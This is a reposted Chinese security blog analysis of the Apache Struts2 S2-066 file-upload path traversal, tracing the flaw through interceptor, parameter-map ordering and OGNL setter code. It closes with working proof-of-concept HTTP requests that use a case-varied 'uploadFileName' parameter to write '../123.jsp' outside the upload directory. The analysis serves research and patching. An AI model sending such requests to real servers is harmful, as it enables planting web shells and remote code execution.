Apache-Struts2-文件上传分析-S2-066

admin 2024年10月29日00:28:37评论9 views字数 10005阅读33分21秒阅读模式

Apache Struts2 文件上传分析(S2-066)

struts2也很久没出过漏洞了吧,这次爆的是和文件上传相关

相关的commit在https://github.com/apache/struts/commit/162e29fee9136f4bfd9b2376da2cbf590f9ea163

首先从commit可以看出,漏洞和大小写参数有关,后面会具体谈及Apache-Struts2-文件上传分析-S2-066Apache-Struts2-文件上传分析-S2-066

同时结合CVE描述我们可以知道,大概和路径穿越有关

1
An attacker can manipulate file upload params to enable paths traversal and under some circumstances this can lead to uploading a malicious file which can be used to perform Remote Code Execution. Users are recommended to upgrade to versions Struts 2.5.33 or Struts 6.3.0.2 or greater to fix this issue.

环境

这里我以6.3.0为例搭建

12345
<dependency>      <groupId>org.apache.struts</groupId>      <artifactId>struts2-core</artifactId>      <version>6.3.0</version></dependency>

定义一个UploadAction

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758
package com.struts2;import com.opensymphony.xwork2.ActionSupport;import org.apache.commons.io.FileUtils;import org.apache.struts2.ServletActionContext;import java.io.*;public class UploadAction extends ActionSupport {    private static final long serialVersionUID = 1L;    private File upload;    // 文件类型,为name属性值 + ContentType    private String uploadContentType;    // 文件名称,为name属性值 + FileName    private String uploadFileName;    public File getUpload() {        return upload;    }    public void setUpload(File upload) {        this.upload = upload;    }    public String getUploadContentType() {        return uploadContentType;    }    public void setUploadContentType(String uploadContentType) {        this.uploadContentType = uploadContentType;    }    public String getUploadFileName() {        return uploadFileName;    }    public void setUploadFileName(String uploadFileName) {        this.uploadFileName = uploadFileName;    }    public String doUpload() {        String path = ServletActionContext.getServletContext().getRealPath("/")+"upload";        String realPath = path + File.separator +uploadFileName;        try {            FileUtils.copyFile(upload, new File(realPath));        } catch (Exception e) {            e.printStackTrace();        }        return SUCCESS;    }}

在struts.xml当中,通常默认配置下这个文件在项目路径的/WEB-INF/classes路径下

123456789101112
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE struts PUBLIC        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"        "http://struts.apache.org/dtds/struts-2.0.dtd"><struts>    <package name="upload" extends="struts-default">        <action name="upload" class="com.struts2.UploadAction" method="doUpload">            <result name="success" type="">/index.jsp</result>        </action>    </package></struts>

以及在web.xml当中配置好filter

12345678
<filter>        <filter-name>struts2</filter-name>        <filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class></filter><filter-mapping>    <filter-name>struts2</filter-name>    <url-pattern>*.action</url-pattern></filter-mapping>

分析

从文件上传的Action也可以看出,struts2当中,文件上传的过程主要涉及到两个重要参数,以我的环境命名为例upload以及uploadFileName

上面描述可知此漏洞为路径穿越,而我们知道Struts2本身是有一系列默认拦截器,这部分配置在struts-default.xml中,其中就包含了一个与文件上传相关的拦截器org.apache.struts2.interceptor.FileUploadInterceptorApache-Struts2-文件上传分析-S2-066

我们先来测试一下文件上传

123456789101112131415
POST /upload.action HTTP/1.1Host: 127.0.0.1Accept: */*Accept-Encoding: gzip, deflateContent-Length: 188Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWNUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWNContent-Disposition: form-data; name="Upload"; filename="../1.txt"Content-Type: text/plain1aaa--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--

发现落地的文件名字变成了1.txt

Apache-Struts2-文件上传分析-S2-066

我们简单来做个debug,看看文件上传的处理流程

首先在org.apache.struts2.interceptor.FileUploadInterceptor#intercept中

获取文件名通过multiWrapper.getFileNames做处理

Apache-Struts2-文件上传分析-S2-066

最终是由org.apache.struts2.dispatcher.multipart.AbstractMultiPartRequest#getCanonicalName做文件名处理,以下是部分调试栈,有兴趣的可以自行debug

1234
getCanonicalName:162, AbstractMultiPartRequest (org.apache.struts2.dispatcher.multipart)getFileNames:265, JakartaMultiPartRequest (org.apache.struts2.dispatcher.multipart)getFileNames:159, MultiPartRequestWrapper (org.apache.struts2.dispatcher.multipart)intercept:279, FileUploadInterceptor (org.apache.struts2.interceptor)

这部分代码很直白,拦截了路径穿越

123456789101112
protected String getCanonicalName(final String originalFileName) {      String fileName = originalFileName;      int forwardSlash = fileName.lastIndexOf('/');      int backwardSlash = fileName.lastIndexOf('\\');      if (forwardSlash != -1 && forwardSlash > backwardSlash) {          fileName = fileName.substring(forwardSlash + 1);      } else {          fileName = fileName.substring(backwardSlash + 1);      }      return fileName;  }

继续回到FileUploadInterceptor当中,处理完文件后,会把一些信息保存到acceptedFiles/acceptedContentTypes/acceptedFileNames中,从下面的fileNameName也可以看出为什么我们的Action一定要那样命名上传的文件名Apache-Struts2-文件上传分析-S2-066

再往下将这些参数保存到了org.apache.struts2.dispatcher.HttpParameters对象当中Apache-Struts2-文件上传分析-S2-066

既然是保存到了HttpParameter参数中,结合Commit当中的一些讯息,接下来我们很容易有个思考,既然是HttpParameter,是不是存在其他传参的过程能够做变量覆盖

从上面的图片做深入分析,我们可以知道ac.getParameters()获取到的HttpParameter对象是从上下文获取的

Apache-Struts2-文件上传分析-S2-066

上下文的创建在org.apache.struts2.dispatcher.Dispatcher#serviceAction

Apache-Struts2-文件上传分析-S2-066

在创建上下文的过程当中我们发现,调用了HttpParameters.create将请求的参数保存到了当中

Apache-Struts2-文件上传分析-S2-066

Apache-Struts2-文件上传分析-S2-066

看到这里其实我们也就可以知道大概思路了,参数的保存既然在FileUploadInterceptor之前,那么变量覆盖就不存在了(存储结构为Map,key唯一),结合到commit当中的一些大小写,此时我们不难猜到如果我们将上传的文件名小写,那会不会在将参数绑定到Action对象的过程当中

而这部分处理过程就在com.opensymphony.xwork2.interceptor.ParametersInterceptor#doIntercept

里面调用了com.opensymphony.xwork2.interceptor.ParametersInterceptor#setParameters做参数绑定,这个过程老生常谈了,不懂得可以去百度了解了解这里不多谈了

当然这里还是需要多说一点,这个方法的调用是有顺序的,这和Map的存储结构有关

Apache-Struts2-文件上传分析-S2-066

这里可以看到是Treemap

Apache-Struts2-文件上传分析-S2-066

可以看到大写的会优先(Map结构)

Apache-Struts2-文件上传分析-S2-066

踩坑

我第一次打的时候把最后一位大写了,但是发现没有调用到set方法

12345678910111213141516171819
POST /upload.action HTTP/1.1Host: 127.0.0.1Accept: */*Content-Length: 188Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWNUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWNContent-Disposition: form-data; name="Upload"; filename="1.txt"Content-Type: text/plain1aaa--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWNContent-Disposition: form-data; name="UPloadFileName"; Content-Type: text/plain1323.jsp--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--

经过debug可以发现在ognl.OgnlRuntime#_getSetMethod获取setter方法时调用了ognl.OgnlRuntime#getDeclaredMethods做处理

Apache-Struts2-文件上传分析-S2-066

省略垃圾时间吧,最终在ognl.OgnlRuntime#addIfAccessor,可以看到必须满足ms.endsWith(baseName)(这点很关键,也就是说你的Action的程序代码怎么写影响你怎么写参数)

12345678910111213141516
private static void addIfAccessor(List result, Method method, String baseName, boolean findSets){        final String ms = method.getName();        if (ms.endsWith(baseName)) {            boolean isSet = false, isIs = false;            if ((isSet = ms.startsWith(SET_PREFIX)) || ms.startsWith(GET_PREFIX)                    || (isIs = ms.startsWith(IS_PREFIX))) {                int prefixLength = (isIs ? 2 : 3);                if (isSet == findSets) {                    if (baseName.length() == (ms.length() - prefixLength)) {                        result.add(method);                    }                }            }        }    }
1234567891011121314151617181920212223
部分调用栈如下addIfAccessor:2701, OgnlRuntime (ognl)collectAccessors:2686, OgnlRuntime (ognl)getDeclaredMethods:2653, OgnlRuntime (ognl)_getSetMethod:2915, OgnlRuntime (ognl)getSetMethod:2884, OgnlRuntime (ognl)hasSetMethod:2955, OgnlRuntime (ognl)hasSetProperty:2973, OgnlRuntime (ognl)setProperty:83, CompoundRootAccessor (com.opensymphony.xwork2.ognl.accessor)setProperty:3359, OgnlRuntime (ognl)setValueBody:134, ASTProperty (ognl)evaluateSetValueBody:220, SimpleNode (ognl)setValue:308, SimpleNode (ognl)setValue:829, Ognl (ognl)lambda$setValue$2:550, OgnlUtil (com.opensymphony.xwork2.ognl)execute:-1, 102405086 (com.opensymphony.xwork2.ognl.OgnlUtil$$Lambda$53)compileAndExecute:625, OgnlUtil (com.opensymphony.xwork2.ognl)setValue:543, OgnlUtil (com.opensymphony.xwork2.ognl)trySetValue:195, OgnlValueStack (com.opensymphony.xwork2.ognl)setValue:182, OgnlValueStack (com.opensymphony.xwork2.ognl)setParameter:166, OgnlValueStack (com.opensymphony.xwork2.ognl)setParameters:228, ParametersInterceptor (com.opensymphony.xwork2.interceptor)....

而baseName其实也是有做了处理的(必须看),回到之前的getDeclaredMethods方法,我们的属性名会被capitalizeBeanPropertyName处理

Apache-Struts2-文件上传分析-S2-066

做了很多分支判断,可以看到特殊支持了一些特殊方法的调用,但是其实前面的几个不能用,因为他们后面多了一些字符(),在之前提到的endwith是不包括这些符号的

123456789101112131415161718192021222324252627282930
private static String capitalizeBeanPropertyName(String propertyName) {        if (propertyName.length() == 1) {            return propertyName.toUpperCase();        }        // don't capitalize getters/setters        if (propertyName.startsWith(GET_PREFIX) && propertyName.endsWith("()")) {            if (Character.isUpperCase(propertyName.substring(3,4).charAt(0))) {                return propertyName;            }        }        if (propertyName.startsWith(SET_PREFIX) && propertyName.endsWith(")")) {            if (Character.isUpperCase(propertyName.substring(3,4).charAt(0))) {                return propertyName;            }        }        if (propertyName.startsWith(IS_PREFIX) && propertyName.endsWith("()")) {            if (Character.isUpperCase(propertyName.substring(2,3).charAt(0))) {                return propertyName;            }        }        char first = propertyName.charAt(0);        char second = propertyName.charAt(1);        if (Character.isLowerCase(first) && Character.isUpperCase(second)) {            return propertyName;        } else {            char[] chars = propertyName.toCharArray();            chars[0] = Character.toUpperCase(chars[0]);            return new String(chars);        }    }

我们主要关注下面的部分,如果属性第一个字符小写第二个大写直接返回,否则返回时将第一个字母大写

123456789
char first = propertyName.charAt(0);char second = propertyName.charAt(1);if (Character.isLowerCase(first) && Character.isUpperCase(second)) {    return propertyName;} else {    char[] chars = propertyName.toCharArray();    chars[0] = Character.toUpperCase(chars[0]);    return new String(chars);}

在这里的例子当中我们需要调用com.struts2.UploadAction#setUploadFileName

因此也只能限制了我们的写法要么是UploadFileName要么是uploadFileName(前面提到的endwith+capitalizeBeanPropertyName处理)

最终构造

按照Map存储的调用顺序我们即可构造

1234567891011
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWNContent-Disposition: form-data; name="Upload"; filename="1.txt"Content-Type: text/plain1aaa--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWNContent-Disposition: form-data; name="uploadFileName"; Content-Type: text/plain../123.jsp--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--

或者

123456789101112131415
POST /upload.action?uploadFileName=../1234.jsp HTTP/1.1Host: 127.0.0.1Accept: */*Accept-Encoding: gzip, deflateContent-Length: 188Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWNUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWNContent-Disposition: form-data; name="Upload"; filename="1.txt"Content-Type: text/plain1aaa--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--

- source:y4tacker

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月29日00:28:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache-Struts2-文件上传分析-S2-066https://cn-sec.com/archives/3314586.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息